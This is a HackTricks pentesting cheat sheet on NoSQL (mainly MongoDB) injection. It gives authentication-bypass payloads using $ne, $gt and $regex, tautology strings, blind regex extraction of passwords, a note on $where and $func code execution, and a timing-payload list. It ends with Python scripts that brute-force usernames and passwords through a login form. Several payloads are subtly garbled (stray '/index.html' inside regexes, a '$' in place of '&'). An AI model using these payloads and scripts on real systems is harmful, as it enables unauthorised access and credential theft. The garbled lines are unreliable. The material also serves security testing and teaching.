NoSQL injection - HackTricks

# NoSQL injection

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

    username[$ne]=1$password[$ne]=1 #<Not Equals>
    username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
    username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
    username[$eq]=admin&password[$ne]=1 #<Equals>
    username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
    username[$ne]=admin&pass[$gt]=s #<Greater Than>
    username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
    { $where: "this.credits == this.debits" }#<IF>, can be used to execute code

### Basic authentication bypass

Using not equal ($ne) or greater ($gt)

    #in URL
    username[$ne]=toto&password[$ne]=toto
    username[$regex]=.*&password[$regex]=.*
    username[$exists]=true&password[$exists]=true

    #in JSON
    {"username": {"$ne": null}, "password": {"$ne": null} }
    {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
    {"username": {"$gt": undefined}, "password": {"$gt": undefined} }

### SQL - Mongo

    query = { $where: `this.username == '${username}'` }

An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.

    Normal sql: ' or 1=1-- -
    Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

### Extract length information

    username[$ne]=toto&password[$regex]=.{1}
    username[$ne]=toto&password[$regex]=.{3}
    # True if the length equals 1,3...

### Extract data information

    in URL (if length == 3)
    username[$ne]=toto&password[$regex]=a.{2}
    username[$ne]=toto&password[$regex]=b.{2}
    ...
    username[$ne]=toto&password[$regex]=m.{2}
    username[$ne]=toto&password[$regex]=md.{1}
    username[$ne]=toto&password[$regex]=mdp

    username[$ne]=toto&password[$regex]=m.*
    username[$ne]=toto&password[$regex]=md.*

    in JSON
    {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
    {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
    {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

### SQL - Mongo

    /?search=admin' && this.password%00 --> Check if the field password exists
    /?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
    /?search=admin' && this.password && this.password.match(/^a.*$/)%00
    /?search=admin' && this.password && this.password.match(/^b.*$/)%00
    /?search=admin' && this.password && this.password.match(/^c.*$/)%00
    ...
    /?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
    ...
    /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

### PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.

    "user":{"$func": "var_dump"}

### Get info from different collection

It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called `users` and getting the results of all the entries with a password matching a wildcard.

NOTE: `$lookup` and other aggregation functions are only available if the `aggregate()` function was used to perform the search instead of the more common `find()` or `findOne()` functions.

    [
      {
        "$lookup": {
          "from": "users",
          "as": "resultado",
          "pipeline": [
            {
              "$match": {
                "password": {
                  "$regex": "^.*"
                }
              }
            }
          ]
        }
      }
    ]

## MongoDB Payloads

List from here

    true, $where: '1 == 1'
    , $where: '1 == 1'
    $where: '1 == 1'
    ', $where: '1 == 1
    1, $where: '1 == 1'
    { $ne: 1 }
    ', $or: [ {}, { 'a':'a
    ' } ], $comment:'successful MongoDB injection'
    db.injection.insert({success:1});
    db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
    || 1==1
    || 1==1//
    || 1==1%00
    }, { password : /.*/ }
    ' && this.password.match(/.*/index.html)//+%00
    ' && this.passwordzz.match(/.*/index.html)//+%00
    '%20%26%26%20this.password.match(/.*/index.html)//+%00
    '%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
    {$gt: ''}
    [$ne]=1
    ';sleep(5000);
    ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
    {"username": {"$ne": null}, "password": {"$ne": null}}
    {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
    {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
    {"username": {"$gt":""}, "password": {"$gt":""}}
    {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

## Blind NoSQL Script

    import requests, string

    alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

    flag = ""
    for i in range(21):
        print("[i] Looking for char number "+str(i+1))
        for char in alphabet:
            r = requests.get("http://chall.com?param=^"+flag+char)
            if ("<TRUE>" in r.text):
                flag += char
                print("[+] Flag: "+flag)
                break

    import requests
    import urllib3
    import string
    import urllib
    urllib3.disable_warnings()

    username="admin"
    password=""

    while True:
        for c in string.printable:
            if c not in ['*','+','.','?','|']:
                payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
                r = requests.post(u, data = {'ids': payload}, verify = False)
                if 'OK' in r.text:
                    print("Found one more char : %s" % (password+c))
                    password += c

### Brute-force login usernames and passwords from POST login

This is a simple script that you could modify but the previous tools can also do this task.

    import requests
    import string

    url = "http://example.com"
    headers = {"Host": "exmaple.com"}
    cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
    possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
    def get_password(username):
        print("Extracting password of "+username)
        params = {"username":username, "password[$regex]":"", "login": "login"}
        password = "^"
        while True:
            for c in possible_chars:
                params["password[$regex]"] = password + c + ".*"
                pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
                if int(pr.status_code) == 302:
                    password += c
                    break
            if c == possible_chars[-1]:
                print("Found password "+password[1:].replace("\\", "")+" for username "+username)
                return password[1:].replace("\\", "")

    def get_usernames(prefix):
        usernames = []
        params = {"username[$regex]":"", "password[$regex]":".*"}
        for c in possible_chars:
            username = "^" + prefix + c
            params["username[$regex]"] = username + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                print(username)
                for user in get_usernames(prefix + c):
                    usernames.append(user)
        return usernames

    for u in get_usernames(""):
        get_password(u)

## Tools

- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite

## References

- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.